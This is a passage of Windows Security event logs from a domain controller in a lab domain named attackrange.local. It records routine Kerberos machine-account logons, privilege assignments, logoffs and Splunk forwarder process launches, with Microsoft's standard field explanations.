The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257224
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA56B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257223
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4CA522
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257222
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA522

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257221
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4CA414
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59499

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257220
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA414

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257219
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257232
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257231
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257233
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA62D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257236
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CD2C5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257235
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4CD2C5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59512

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257234
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CD2C5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:18:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257240
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257241
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257243
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257242
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:18:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257246
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D0841

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:18:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257245
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4D0841
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59525

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:18:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257244
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D0841

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:19:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257247
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

